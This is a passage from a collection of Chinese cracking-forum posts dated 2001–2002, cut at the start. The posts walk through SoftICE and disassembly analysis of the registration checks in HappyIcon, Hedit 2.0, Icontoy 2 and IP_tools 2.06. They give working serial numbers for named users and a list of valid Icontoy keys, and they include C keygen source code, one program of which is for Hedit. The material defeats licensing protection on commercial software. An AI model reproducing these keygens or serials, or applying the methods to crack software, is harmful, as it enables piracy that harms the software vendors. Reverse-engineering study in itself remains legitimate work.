var1=b+var1;} /*计算用户名各位的ASCII值之和*/
loop:
do{
i=random(10);
i=i+48; /*将数字转为字符*/
result[n]=i;
var2=i+var2;
n=n+1;
}while(n<8);
var2=reg(var2); /*注册码各位和的低8位值*/
var1=reg(var1); /*用户名各位和的低8位值*/
if(var2==var1)
{
printf("Regcode is: ");
for(n=0;n<8;n++)
{ printf("%c",result[n]); }
printf("\n\nBye!"); /*如果和相等则打印注册码*/
}
else
{n=0;
var2=0;
goto loop;} /*若不相等则继续寻找注册码*/
}
int reg(int var3) /*取和低8位的函数*/
{
asm mov cx,var3
return(_CL);
}
程序中内嵌行汇编，在命令行TCC下编译通过。

大波罗破解
我的主页 http://wdfdiablo.myetang.com
转载请保持完整，谢谢。
2001.9.28


HappyIcon v2.55

 标 题:HappyIcon v2.55----------极其简单，高手勿入 (7千字)
发信人:lancelot[CCG]
时 间:2001-9-17 14:12:28
详细信息:
下载：http://newhua.ruyi.com/down/happyicone.zip 原以为是keyfile保护的下下来才发现不是,
顺手把它破了,极其简单,高手勿进。

下断 bpx getdlgitemtexta，F12一下，来到这里

:0041700F FFD6 call esi<---------name: lancelot
:00417011 85C0 test eax, eax
:00417013 7538 jne 0041704D
========================================================================================
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00417013(C)
|

* Possible Reference to String Resource ID=00020: "&Cancel"
|
:0041704D B914000000 mov ecx, 00000014
:00417052 33C0 xor eax, eax
:00417054 8D7C2468 lea edi, dword ptr [esp+68]

* Possible Reference to Menu: MenuID_0080
|

* Possible Reference to Dialog: DialogID_00BD, CONTROL_ID:0080, "??
|
:00417058 6880000000 push 00000080
:0041705D F3 repz
:0041705E AB stosd
:0041705F 8D44246C lea eax, dword ptr [esp+6C]
:00417063 50 push eax

* Possible Reference to Dialog: DialogID_00D8, CONTROL_ID:0461, ""
|
:00417064 6861040000 push 00000461
:00417069 55 push ebp
:0041706A FFD6 call esi<--------------------first name: CCG
:0041706C 85C0 test eax, eax
:0041706E 7538 jne 004170A8
=======================================================================================
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041706E(C)
|

* Possible Reference to String Resource ID=00020: "&Cancel"
|
:004170A8 B914000000 mov ecx, 00000014
:004170AD 33C0 xor eax, eax
:004170AF 8DBC24BC000000 lea edi, dword ptr [esp+000000BC]

* Possible Reference to Menu: MenuID_0080
|

* Possible Reference to Dialog: DialogID_00BD, CONTROL_ID:0080, "??
|
:004170B6 6880000000 push 00000080
:004170BB F3 repz
:004170BC AB stosd
:004170BD 8D8C24C0000000 lea ecx, dword ptr [esp+000000C0]
:004170C4 51 push ecx

* Possible Reference to Dialog: DialogID_00D8, CONTROL_ID:0471, ""
|
:004170C5 6871040000 push 00000471
:004170CA 55 push ebp
:004170CB FFD6 call esi<----------------------key: 43434343
:004170CD 85C0 test eax, eax
:004170CF 7538 jne 00417109
======================================================================================
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004170CF(C)
|

* Reference To: USER32.wsprintfA, Ord:02B3h
|
:00417109 8B1D48434200 mov ebx, dword ptr [00424348]
:0041710F 8D542414 lea edx, dword ptr [esp+14]<--------lancelot
:00417113 52 push edx
:00417114 8D44246C lea eax, dword ptr [esp+6C]<--------CCG

* Possible StringData Ref from Data Obj ->"HappyIcon"
|
:00417118 6878714200 push 00427178<----------------------HappyIcon
:0041711D 50 push eax
:0041711E 8D8C24A0050000 lea ecx, dword ptr [esp+000005A0]

* Possible StringData Ref from Data Obj ->"%s%s%s"
|
:00417125 681C9C4200 push 00429C1C
:0041712A 51 push ecx
:0041712B FFD3 call ebx
:0041712D 8DBC24A8050000 lea edi, dword ptr [esp+000005A8]<---CCGHappyIconlancelot
:00417134 83C9FF or ecx, FFFFFFFF
:00417137 33C0 xor eax, eax
:00417139 83C414 add esp, 00000014
:0041713C F2 repnz
:0041713D AE scasb
:0041713E F7D1 not ecx<----------------------------0x15
:00417140 2BF9 sub edi, ecx
:00417142 8D942490010000 lea edx, dword ptr [esp+00000190]
:00417149 8BC1 mov eax, ecx
:0041714B 8BF7 mov esi, edi
:0041714D 8BFA mov edi, edx
:0041714F C1E902 shr ecx, 02
:00417152 F3 repz
:00417153 A5 movsd
:00417154 8BC8 mov ecx, eax
:00417156 8D842490010000 lea eax, dword ptr [esp+00000190]
:0041715D 83E103 and ecx, 00000003
:00417160 F3 repz
:00417161 A4 movsb<-----------------------------这里一定要用F8,带过,不知为什么
:00417162 8A8C2490010000 mov cl, byte ptr [esp+00000190]
:00417169 84C9 test cl, cl<-----------------------'C'==0x43
:0041716B 741F je 0041718C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041718A(C)
|
:0041716D 80385F cmp byte ptr [eax], 5F<-----------'_'==x05f
:00417170 7503 jne 00417175
:00417172 C60020 mov byte ptr [eax], 20<-----------如果是'_'就用' '(空格)代替

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00417170(C)
|
:00417175 0FBE08 movsx ecx, byte ptr [eax]<---------'C'==0x43
:00417178 334C2410 xor ecx, dword ptr [esp+10]<--------0x43 XOR 0xffffffff==0xffffffbc
:0041717C 81F1CE9A5713 xor ecx, 13579ACE<------------0xffffffbc XOR 0x13579ace==0xeca86572
:00417182 40 inc eax
:00417183 894C2410 mov dword ptr [esp+10], ecx<--------把结果放在[esp+10],参加下次循环
:00417187 803800 cmp byte ptr [eax], 00<-------------字符串未结束,则继续循环
:0041718A 75E1 jne 0041716D<-----------------------循环结束后 ecx==0xffffffd1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041716B(C)
|
:0041718C 8D9424BC000000 lea edx, dword ptr [esp+000000BC]<---假注册码
:00417193 52 push edx
:00417194 E8FF290000 call 00419B98<-----------------------转换为16进制
:00417199 8B4C2414 mov ecx, dword ptr [esp+14]
:0041719D 83C404 add esp, 00000004
:004171A0 81F1F0BD6824 xor ecx, 2468BDF0<------------0xffffffd1 XOR 0x2468bdf0==0xdb974221
:004171A6 3BC1 cmp eax, ecx<-------------------比较真假注册码的16进制值
:004171A8 742E je 004171D8
:004171AA 6A10 push 00000010
===============================================================================================
总结：

name:lancelot first name:CCG key:43434343

CCGHappyIconlancelot:0x43,0x43,0x47,0x48,0x61,0x70,0x70,0x79,0x49,0x63,0x6f,0x6e,0x6c,0x61,0x6e
0x6e,0x65,0x6c,0x6f,0x74
(1) 0x43 xor 0xffffffff==0xffffffbc
(2) 0xffffffbc xor 0x13579ace==0xeca86572

(1) 0x43 xor 0xeca86572==0xeca86531
(2) 0xeca86531 xor 0x13579ace==0xffffffff

... ... 略 ... ...

结果是：0xffffffd1
再把 0xffffffd1 xor 0x2468bdf0==0xdb974221==3684123169<-----------这就是注册码了

所以 Name: lancelot First name: CCG Key: 3684123169

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.17
)_\ )_\


Hedit 2.0

 标 题:交一篇作业---破解Hedit 2.0的注册码 (7千字)
发信人:大波罗
时 间:2001-9-30 21:32:23
详细信息:
交一篇作业---破解Hedit 2.0的注册码

简介：Hexadecimal editor for binary files. Unlimited file size (easily works with GB-sized files), insert and delete, binary and text search, selectable fonts, clipboard support, multiple document interface. Integrates with the Windows 95 or NT 4.0 shell.

用户名：wdfdiablo 注册码：7878787878，CTL+D唤出SICE，bpx hmemcpy,点注册，被SICE拦断，下BD *清断点，按f12 n次，来到：

0167:00405077 6A01 PUSH 01
0167:00405079 8BCE MOV ECX,ESI
0167:0040507B E870890100 CALL 0041D9F0
0167:00405080 85C0 TEST EAX,EAX
0167:00405082 7435 JZ 004050B9
0167:00405084 FF7660 PUSH DWORD PTR [ESI+60]
0167:00405087 FF765C PUSH DWORD PTR [ESI+5C]
0167:0040508A 8BCF MOV ECX,EDI
0167:0040508C E82DEFFFFF CALL 00403FBE ；此为算注册码的CALL，F8进入
0167:00405091 85C0 TEST EAX,EAX
0167:00405093 7510 JNZ 004050A5 ；不正确则跳到失败
0167:00405095 6AFF PUSH FF
0167:00405097 6A00 PUSH 00
0167:00405099 6888000000 PUSH 00000088
0167:0040509E E8BCFC0100 CALL 00424D5F ；注册失败对话框
0167:004050A3 EB14 JMP 004050B9 ；跳出程序
0167:004050A5 FF7660 PUSH DWORD PTR [ESI+60]
0167:004050A8 FF765C PUSH DWORD PTR [ESI+5C]
0167:004050AB 8BCF MOV ECX,EDI

进入后在此处：
0167:00403FBE 55 PUSH EBP
0167:00403FBF 8BEC MOV EBP,ESP
0167:00403FC1 81EC00010000 SUB ESP,00000100
0167:00403FC7 6800010000 PUSH 00000100
0167:00403FCC 8D8D00FFFFFF LEA ECX,[EBP-0100]
0167:00403FD2 FF7508 PUSH DWORD PTR [EBP+08]
0167:00403FD5 51 PUSH ECX
0167:00403FD6 E8054F0000 CALL 00408EE0
0167:00403FDB 83C40C ADD ESP,0C
0167:00403FDE 8D8D00FFFFFF LEA ECX,[EBP-0100]
0167:00403FE4 51 PUSH ECX ;D ECX=wdfdiablo
0167:00403FE5 E856200100 CALL 00416040 ;将用户名转换为大写字母WDFDIABLO
0167:00403FEA 83C404 ADD ESP,04
0167:00403FED B904000000 MOV ECX,00000004
0167:00403FF2 8BC1 MOV EAX,ECX
0167:00403FF4 41 INC ECX ;ECX=5
0167:00403FF5 99 CDQ
0167:00403FF6 33C2 XOR EAX,EDX
0167:00403FF8 2BC2 SUB EAX,EDX
0167:00403FFA 83E003 AND EAX,03
0167:00403FFD 33C2 XOR EAX,EDX
0167:00403FFF 2BC2 SUB EAX,EDX
0167:00404001 8A940DFFFEFFFF MOV DL,[ECX+EBP-0101]
0167:00404008 30940500FFFFFF XOR [EAX+EBP-0100],DL
0167:0040400F 81F900010000 CMP ECX,00000100 ；循环95次
0167:00404015 7CDB JL 00403FF2
0167:00404017 8B8500FFFFFF MOV EAX,[EBP-0100] ；D EAX=Ox8040551,转换为十进制即为
注册码
0167:0040401D 85C0 TEST EAX,EAX
0167:0040401F 7D02 JGE 00404023
0167:00404021 F7D8 NEG EAX
0167:00404023 39450C CMP [EBP+0C],EAX
0167:00404026 7509 JNZ 00404031
0167:00404028 85C0 TEST EAX,EAX
0167:0040402A B801000000 MOV EAX,00000001
0167:0040402F 7502 JNZ 00404033
0167:00404031 33C0 XOR EAX,EAX
0167:00404033 8BE5 MOV ESP,EBP
0167:00404035 5D POP EBP
0167:00404036 C20800 RET 0008

整理一下，用户名：wdfdiablo,注册码：0134481233

不知哪位高手能用TC2.0写一下它的注册机，感激不尽。

注册成功后，注册表项添加以下键值：
REGEDIT4

[HKEY_USERS\.DEFAULT\Software\Yuri Software\HEdit\Settings]
"Font"=hex:f3,ff,ff,ff,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,43,6f,75,72,69,65,72,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00
"Hex Address"=dword:00000001
"Upper Characters"=dword:00000000
"Fixed Columns"=dword:00000000
"Text Editor"="notepad.exe"
"Print Margins"=hex:e8,03,00,00,e8,03,00,00,e8,03,00,00,e8,03,00,00
"User Name"="wdfdiablo"
"Registration Number"=dword:08040551
"WindowPos"=hex:2c,00,00,00,00,00,00,00,01,00,00,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,\
ff,ff,ff,ff,ff,ff,ff,51,00,00,00,51,00,00,00,51,03,00,00,63,02,00,00

大波罗破解
http://wdfdiablo.myetang.com
2001.9.28

标 题:帖这个的注册机 (663字)
发信人:伪装者[CCG]
时 间:2001-10-1 13:03:32
详细信息:

 #include "stdio.h"
main()
{
unsigned char string[100];
int i,c;
long d=0;
printf("******HEdit 2.0********\nThis keygen is made by Pretender\nPlease input
  your name  : ");
gets(string);
strupr(string);
d=strlen(string);
for(i=d;i<0x101;i++)
string[i]=0;
printf("Your Register code is  : ");
for(i=4;i<0x100;i++)
string[i%4]^=string[i];
d=0;
for(i=3;i>=0;i--)
{d+=string[i];
if(i==0) break;
d<<=8;}
if(d<0) d=-d;
printf("%ld",d);
printf("\n *****************************      ---
  ---    ---\n *Welcome to WWW.CRACKNOW.COM*      /
      /      / --\n *****************************
      ---    ---    --/\n");
}


Icontoy 2

 标 题:Crack之亲历手迹2--我的第一个注册机 (2千字)
发信人:y97523
时 间:2002-3-9 19:55:42
详细信息:
Crack之亲历手迹2--我的第一个注册机
//-------------------------------------------------
目标程序：icontoy2.exe：392 KB (401,920 字节)
绿色软件，单独exe文件
Delphi编写无需pakage支持，未加壳
破解目标：找到注册码，最好做出注册机
//--------------------------------------------------
破解过程：
1。用IDA反汇编。
2。用SoftICE,下bpx getwindowtext
bpx getwindowtexta
bpx getwindowtextw
bpx getdlgitemtext
bpx getdlgitemtexta
bpx getdlgitemtextw结果只栏到TApplication::GetTitle中的程式，并未拦截到程序获取注册码
的过程。
？？？或许Delphi的TControl::GetText另有函数？(详细见2002-2-15日记）
3。用W32Dasm反汇编，找到Registration key error!字符串，点击后直接进入了OnOK的处理函数，That's OK！
4。在IDA中找到这个处理函数，
分析发现：
首先打开注册表，将用户名、Key写入注册表
mov edx, offset _str__software_akato_0.Text
mov eax, ebx
call @Registry@TRegistry@OpenKey$qqrx17System@AnsiString4bool
lea edx, [ebp+var_4]
mov eax, [esi+270h]
call @TControl@GetText ; TControl::GetText
mov ecx, [ebp+var_4]
mov edx, offset _str_reg_key_0.Text
mov eax, ebx
call @TRegistry@WriteString ; TRegistry::WriteString
然后再从注册表中读出来
lea ecx, [ebp+var_8]
mov edx, offset _str_reg_key_0.Text
mov eax, ebx
call @TRegistry@ReadString ; TRegistry::ReadString
mov edx, [ebp+var_8]
mov eax, edi
call @System@@LStrAsg$qqrv ; System __linkproc__ LStrAsg(void)
再与十个可能的注册码一一比较
mov eax, [edi]
mov edx, offset _str_R3212959_0.Text
call @System@@LStrCmp$qqrv ; System __linkproc__ LStrCmp(void)
jz short loc_439CEA
mov eax, [edi]
mov edx, offset _str_8M6M8DTA_0.Text
call @System@@LStrCmp$qqrv ; System __linkproc__ LStrCmp(void)
jnz short loc_439D36
如是十个注册码中的一个则显示注册成功，或则显示注册失败
mov eax, offset _str_Registration_ke.Text
call @Dialogs@ShowMessage$qqrx17System@AnsiString ; Dialogs::ShowMessage(System::AnsiString)
现在我们可以知道他的注册码了，只能为下面的十个字串中的一个
8M6M8DTA
R3212959
12959TAT
322223XL
reggy322
reggy105
reg10515
reg15810
22322322
32222332
5。使用VC++6.0做出注册机

Email:y97523@hotmail.com


IP_tools2.06

 标 题:IP_tools2.06加密算法揭秘 ,雁南飞老兄务请一进,呵呵 (30千字)
发信人:扁担刀
时 间:2002-2-13 13:13:33
详细信息:
IP_TOOLS2.06加密算法揭密

几周前看见坛子上在讨论IP_TOOLS2.06，本菜鸟对IP工具较感兴趣，就想拿来试试手，happy一下。
谁知试了一周，花了n个小时（n>40)，晕菜无数次，都没搞定，只好走人咯，郁闷啊！这阵放假，
本想再试试，整理些资料就算了，没想到竟还大致搞明白了，晕倒！（由于这个破程序n郁闷本菜
鸟，本菜不禁多吐了些苦水，各位老兄还请多包涵啊:)）好吧，言归正传，下面我们开始吧：)

这个文件注册失败会弹出消息框，偶就想用MessageBox，MessageboxEx以及生成消息框，对话框的那
些API来拦截，没想到都栏不到，郁闷偶半天。后来用VC的SPY++看（softice中用hwnd应该也能看得
来），才发现IP_tools中的对话框消息框大多使用他们自己开发的类如TRegisterDlg,TRegisterDlg2,
TMessageForm, 而不是windows自带的Dialog类。乖乖，敌人的做工还很细噢，菜鸟很佩服的恨恨的说。
（如果有时间，研究一下如何自定义窗口类实现模式对话框消息框的效果倒是很有意思）

用CreateWindowExa倒是可以拦下，不过好像有点怪，菜鸟没有继续，就改拦截HMEMCPY了。
windows 9X下，HMemcpy是在16bit保护模式运行，被拦截下时的ES寄存器是目的地址的段selector,
通过softice的GDT ****查看该段的详细信息，段的初始地址就是32位下的目的地址。对这个
地址下bpm跟噢，很快程序就会被这个段点拦截下来，看一下是32位模式下的串拷贝，一般使
用ESI, EDI, 那就接着对EDI-1(或 2,4)(其实减不减都差不多啦）下bpm，继续跟啊。折腾了半天，
发现了程序进行计算和比较的地方了，算是取得了点阶段性的成果，呵呵。不过菜鸟到这花了7，8个小时，
菜啊，伤心噢。菜鸟使用用户名是happy, 密码是1112222，

注：
*本文中的数字都是16进制数
*文中有时指针与指针指向的值混用，不过应该能看出来什么时候是什么

下面看程序：

CODE:004AC629 mov eax, [ebp+var_10] // d eax, 看到用户名happy,
CODE:004AC62C call sub_49D94C //对用户名进行操作，返回加密后
的字串长度
CODE:004AC631 mov edi, eax
CODE:004AC633 lea edx, [ebp+var_10]
CODE:004AC636 mov eax, [esi]
CODE:004AC638 mov eax, [eax+1F4h]
CODE:004AC63E call sub_4236DC
CODE:004AC643 mov eax, [ebp+var_10] //d eax, 看到11112222
CODE:004AC646 call sub_49D9E8 //对密码进行操作
CODE:004AC64B cmp di, ax
CODE:004AC64E jnz loc_4AC7CA //到了4ac7ca我们就不happy了，

CODE:004AC654 mov eax, ds:off_4E128C //4e128c中存放的是地址4e3434,
是用户名加密后的存放地址
CODE:004AC659 mov edx, 1FFh
CODE:004AC65E call sub_49D930 //对加密后的用户名计算
CODE:004AC663 mov edi, eax

CODE:004AC665 mov eax, ds:off_4E1190 //4e1190中存放的是地址4e3634,
是密码加密后的存放地址
CODE:004AC66A mov edx, 1FFh
CODE:004AC66F call sub_49D930 //对加密后的密码计算
CODE:004AC674 cmp edi, eax
CODE:004AC676 jnz loc_4AC7CA

CODE:004AC67C mov eax, ds:off_4E128C //这以下按双字比较 4e3434+7，
4e3634+7空间中的内容
CODE:004AC681 add eax, 7
CODE:004AC684 mov eax, [eax]
CODE:004AC686 mov edx, ds:off_4E1190
CODE:004AC68C add edx, 7
CODE:004AC68F cmp eax, [edx]
CODE:004AC691 jnz loc_4AC7CA

CODE:004AC697 lea edx, [ebp+var_8] //三次比较都成功了，注册成功的对
话框就跳出来了噢

。。。。。
CODE:004AC6D8 mov eax, offset aThankYouForReg ; "Thank you for registering IP-To"
//到这菜鸟才注意到这个字串，要是开始时就
查找这个子串也许省偶很多事噢，心痛心痛！

。。。。。。
CODE:004AC7CA mov eax, offset aSorryYourReg_0 ; "Sorry, your registration number or "
// game over 的字串！Go to hell!
CODE:004AC7CF call sub_444700

先看一下 int 49D930（int i, char *pChar), 该函数对 (pChar+0B)开始的字符窜按字求和， 长度为 i-0B (i=1ff)。

让我们看一下重要的两个call 49d94c，49d9e8.

*** 49d94c：
CODE:0049D94C push ebp
。。。。。。
CODE:0049D9A8 push eax
CODE:0049D9A9 push offset unk_4E3434
CODE:0049D9AE push ebx
CODE:0049D9AF push offset unk_4DCB62
CODE:0049D9B4 push offset unk_4DCC62
CODE:0049D9B9 call sub_49DFFA //加密的核心函数
CODE:0049D9BE movsx eax, al
。。。。。。
CODE:0049D9D8 retn
CODE:0049D9D8 sub_49D94C endp ; sp = -210h

*** 49d9e8:
CODE:0049D9E8 push ebp
CODE:0049D9E9 mov ebp, esp
CODE:0049D9EB add esp, 0FFFFFDFCh
CODE:0049D9F1 push ebx
CODE:0049D9F2 mov [ebp+var_4], eax
CODE:0049D9F5 mov eax, [ebp+var_4]
CODE:0049D9F8 call sub_4040FC
CODE:0049D9FD xor eax, eax
CODE:0049D9FF push ebp
CODE:0049DA00 push offset loc_49DA62
CODE:0049DA05 push dword ptr fs:[eax]
CODE:0049DA08 mov fs:[eax], esp
CODE:0049DA0B lea edx, [ebp+var_204]
CODE:0049DA11 mov ecx, 1FFh
CODE:0049DA16 mov eax, [ebp+var_4]
CODE:0049DA19 call sub_49D880 //将输入密码当作16进制数解读，
如‘11112222’被转换成4个字节：
11 11 22 22，称之为密码1
CODE:0049DA1E lea eax, [ebp+var_204]
CODE:0049DA24 push eax
CODE:0049DA25 push offset unk_4E3634
CODE:0049DA2A mov eax, [ebp+var_4]
CODE:0049DA2D call sub_403F48 //计算密码1的字节长度
CODE:0049DA32 sar eax, 1 //计算密码1的字长度
CODE:0049DA34 jns short loc_49DA39
CODE:0049DA36 adc eax, 0
CODE:0049DA39
CODE:0049DA39 loc_49DA39: ; CODE XREF: sub_49D9E8+4Cj
CODE:0049DA39 push eax
CODE:0049DA3A push offset unk_4DCD66
CODE:0049DA3F push offset unk_4DCE66
CODE:0049DA44 call sub_49DFFA //核心加密算法
CODE:0049DA49 movsx ebx, al
CODE:0049DA4C xor eax, eax
CODE:0049DA4E pop edx
CODE:0049DA4F pop ecx
CODE:0049DA50 pop ecx
CODE:0049DA51 mov fs:[eax], edx
CODE:0049DA54 push offset loc_49DA69
CODE:0049DA59
CODE:0049DA59 loc_49DA59: ; CODE XREF: CODE:0049DA67j
CODE:0049DA59 lea eax, [ebp+var_4]
CODE:0049DA5C call sub_403CCC
CODE:0049DA61 retn
CODE:0049DA61 sub_49D9E8 endp ; sp = -210h

看到这，菜鸟就发晕了，用户名和密码1竟然都用相同算法(49dffa)加密，再比较其加密后的值，这不是要
搞出逆算法才行吗？过分啊！

下面看 一下49dffa的参数：
sub_49dffa(char * pBuffToCode, char *pDestBuff, int iLenBuffToCode, char *pBuff, char *pLongIntZ)

当进行用户名加密时是：
sub_49dffa('happy', 4e3434, 5, 4dcb62,4dcc62)

当进行密码1加密时是：
sub_49dffa( '11 11 22 22', 4e3634, 4, 4dcd66, 4dce66)

其中4dce66空间算装内容与4dcc62完全相同，长度为50h个字节。4dcd66与4dcb62空间内容不同。

下面我们进 49dffa去看：

sub_49dffa(char * pBuffToCode, char *pDestBuff, int iLenBuffToCode, char *pBuff, char *pLongIntZ)
CODE:0049DFFA push ebp
CODE:0049DFFB mov ebp, esp
CODE:0049DFFD push ebx
CODE:0049DFFE push esi
CODE:0049DFFF mov esi, [ebp+arg_0]
CODE:0049E002 mov ebx, [ebp+arg_8]
CODE:0049E005 push esi
CODE:0049E006 call sub_49F121 //返回pLoingIntZ指向字串的bit数，
从pLongIntZ+2a*2的字的高比特往下
找第一个非零bit位，这里返回280
CODE:0049E00B pop ecx
CODE:0049E00C add eax, 7
CODE:0049E00F sar eax, 3 //计算修正后pLongIntZ字节数，50
CODE:0049E012 movzx edx, bx
CODE:0049E015 cmp eax, edx //比较iLenBuffTocode与pLongIntZ长度，小等于则继续
//从算法角度来说，这个比较很有必要噢
CODE:0049E017 jge short loc_49E01E
CODE:0049E019 or eax, 0FFFFFFFFh
CODE:0049E01C jmp short loc_49E055
CODE:0049E01E ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049E01E
CODE:0049E01E loc_49E01E: ; CODE XREF: sub_49DFFA+1Dj
CODE:0049E01E push ebx
CODE:0049E01F push offset unk_4E3838
CODE:0049E024 push [ebp+arg_10]
CODE:0049E027 call sub_49DF4D //将pBufTofCode 拷到4e3838
CODE:0049E02C add esp, 0Ch
CODE:0049E02F push esi
CODE:0049E030 push [ebp+arg_4]
CODE:0049E033 push offset unk_4E3838
CODE:0049E038 push offset unk_4E38B8
CODE:0049E03D call sub_49F15D //重点！
CODE:0049E042 add esp, 10h
CODE:0049E045 push [ebp+arg_C]
CODE:0049E048 push offset unk_4E38B8
CODE:0049E04D call sub_49DFBA
CODE:0049E052 add esp, 8
CODE:0049E055
CODE:0049E055 loc_49E055: ; CODE XREF: sub_49DFFA+22j
CODE:0049E055 pop esi
CODE:0049E056 pop ebx
CODE:0049E057 pop ebp
CODE:0049E058 retn 14h
CODE:0049E058 sub_49DFFA endp

下面跟进sub_49f15d(char *pDest, char *pSource, char *pBuff, char *pLongIntZ)
pDest==4e38b8, pSource==4e3838 ;

pSource, pBuff, pLongIntZ说指向的数实际是超长正整数，和一般的32bit的正整数一样，低位在前，高位在后，
不同是的长度>4，输入参数最大字数只有28，是pLongIntZ的长度，从而决定操作字窜长度不超过28+2=2a，长度
值存在空间4dcf6a中。sub_49e386用来copy字串，copy字的长度一般是2a。

sub_49F15D proc near ; CODE XREF: sub_49DFFA+43p
CODE:0049F15D ; CODE:0049F3DEp ...
CODE:0049F15D
CODE:0049F15D var_88 = byte ptr -88h
CODE:0049F15D var_6 = word ptr -6
CODE:0049F15D var_4 = dword ptr -4
CODE:0049F15D pDest = dword ptr 8
CODE:0049F15D pSource = dword ptr 0Ch
CODE:0049F15D pBuff = dword ptr 10h
CODE:0049F15D pLongIntZ = dword ptr 14h
CODE:0049F15D
CODE:0049F15D push ebp
CODE:0049F15E mov ebp, esp
CODE:0049F160 add esp, 0FFFFFF78h
CODE:0049F166 push ebx
CODE:0049F167 push esi
CODE:0049F168 push edi
CODE:0049F169 mov ebx, [ebp+pLongIntZ]
CODE:0049F16C mov edi, [ebp+pBuff]
CODE:0049F16F mov esi, [ebp+pDest]
CODE:0049F172 push 1
CODE:0049F174 push esi
CODE:0049F175 call sub_49E3AC
CODE:0049F17A add esp, 8
CODE:0049F17D cmp word ptr [edi], 0 ;
CODE:0049F17D ;
CODE:0049F17D ;
CODE:0049F181 jnz short loc_49F1B7 -->跳
。。。
CODE:0049F1B7 cmp word ptr [ebx], 0
CODE:0049F1BB jnz short loc_49F1D4 -->NZ, 跳
。。。
CODE:0049F1D4 movsx edx, ds:word_4DCF68 ;
CODE:0049F1D4 ;
CODE:0049F1DB cmp word ptr [ebx+edx*2-2], 0
CODE:0049F1E1 jge short loc_49F1ED --〉等0，跳
。。。
CODE:0049F1ED ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049F1ED
CODE:0049F1ED loc_49F1ED: ; CODE XREF: sub_49F15D+84j
CODE:0049F1ED push ebx
CODE:0049F1EE push [ebp+pSource]
CODE:0049F1F1 call sub_49E2B7 //比较大小，pLongIntZ必须大等于pSource!
CODE:0049F1F6 add esp, 8
CODE:0049F1F9 test ax, ax
CODE:0049F1FC jl short loc_49F208
CODE:0049F1FE mov eax, 0FFFFFFFDh
CODE:0049F203 jmp loc_49F33C
CODE:0049F208 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049F208
CODE:0049F208 loc_49F208: ; CODE XREF: sub_49F15D+9Fj
CODE:0049F208 push ebx
CODE:0049F209 push edi
CODE:0049F20A call sub_49E2B7 //比较大小，pLongIntZ必须大等于pBuff(why?)
CODE:0049F20F add esp, 8
CODE:0049F212 test ax, ax
CODE:0049F215 jl short loc_49F221
CODE:0049F217 mov eax, 0FFFFFFFCh
CODE:0049F21C jmp loc_49F33C
CODE:0049F221 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049F221
CODE:0049F221 loc_49F221: ; CODE XREF: sub_49F15D+B8j
CODE:0049F221 mov dx, ds:word_4DCF68
CODE:0049F228 mov [ebp+var_6], dx
CODE:0049F22C push ebx
CODE:0049F22D call sub_49F121 //计算pLongIntZ的bit数，=280,
CODE:0049F232 pop ecx
CODE:0049F233 add eax, 20h //为运算增加20bits,
CODE:0049F236 sar eax, 4 //计算需要的字数（280+20）/10
CODE:0049F239 mov ds:word_4DCF68, ax //4DCF68=2A
CODE:0049F23F push ebx
CODE:0049F240 call sub_49E8B3 //重要初始化！！！！！
CODE:0049F245 pop ecx
CODE:0049F246 test eax, eax
CODE:0049F248 jz short loc_49F25F --〉跳
CODE:0049F24A mov cx, [ebp+var_6]
。。。
CODE:0049F25F ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049F25F
CODE:0049F25F loc_49F25F: ; CODE XREF: sub_49F15D+EBj
CODE:0049F25F push edi
CODE:0049F260 call sub_49E3DB //计算pBuff所指向的空间的最高非零字的位置
CODE:0049F265 pop ecx
CODE:0049F266 test ax, ax
CODE:0049F269 jnz short loc_49F272 --〉nz, 跳
CODE:0049F26B xor eax, eax
CODE:0049F26D jmp loc_49F33C
CODE:0049F272 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049F272
CODE:0049F272 loc_49F272: ; CODE XREF: sub_49F15D+10Cj
CODE:0049F272 movsx edx, ax
CODE:0049F275 shl edx, 4
CODE:0049F278 mov [ebp+var_4], edx ebp+var_4初始存放pBuff有效bit数，
CODE:0049F27B movsx ecx, ax
CODE:0049F27E add ecx, ecx
CODE:0049F280 add edi, ecx
CODE:0049F282 add edi, 0FFFFFFFEh //移pBuff高位的第一个字到edi,
CODE:0049F285 mov bx, 8000h
CODE:0049F289 jmp short loc_49F291
CODE:0049F28B ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
CODE:0049F28B
CODE:0049F28B loc_49F28B: ; CODE XREF: sub_49F15D+137j
CODE:0049F28B shr bx, 1
CODE:0049F28E dec [ebp+var_4]
CODE:0049F291
CODE:0049F291 loc_49F291: ; CODE XREF: sub_49F15D+12Cj
CODE:0049F291 test [edi], bx
CODE:0049F294 jz short loc_49F28B
CODE:0049F296 dec [ebp+var_4] //找到了第一个非零bit，当前bit位数减一
CODE:0049F299 push [ebp+pSource]
CODE:0049F29C push esi
CODE:0049F29D call sub_49E386 //用 pSource 初始化 pDes
